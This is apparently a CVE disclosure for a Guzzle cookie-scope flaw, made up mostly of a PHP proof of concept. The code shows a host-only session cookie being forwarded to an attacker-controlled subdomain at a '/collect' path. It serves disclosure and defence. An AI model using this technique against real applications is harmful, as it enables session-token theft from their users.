CVE-2026-67355: guzzlehttp/guzzle Host-Only Cookie Scope Bypass

<?php
// Attacker controls sub.api.example.com.
// Step 1: victim app makes a request to api.example.com.
//   Server responds with a Set-Cookie that has NO Domain attribute:
//   Set-Cookie: session=SECRET_TOKEN; Path=/; HttpOnly
//
// Step 2: Guzzle (< 7.15.1) stores this cookie as:
//   Domain = "api.example.com"  (no hostOnly flag)
//
// Step 3: victim app (reusing same CookieJar) makes ANY request
//   to sub.api.example.com (attacker-controlled).
//   Guzzle's matchesDomain() sees "sub.api.example.com" ends with
//   ".api.example.com" -> match -> forwards the cookie.
//
//   Outgoing request observed by attacker:
//   GET / HTTP/1.1
//   Host: sub.api.example.com
//   Cookie: session=SECRET_TOKEN

$jar = new \GuzzleHttp\Cookie\CookieJar();
$client = new \GuzzleHttp\Client(['cookies' => $jar]);

// Trusted request - server sets a host-only cookie.
$client->get('https://api.example.com/login');

// Later request to attacker subdomain - cookie leaks.
$client->get('https://sub.api.example.com/collect');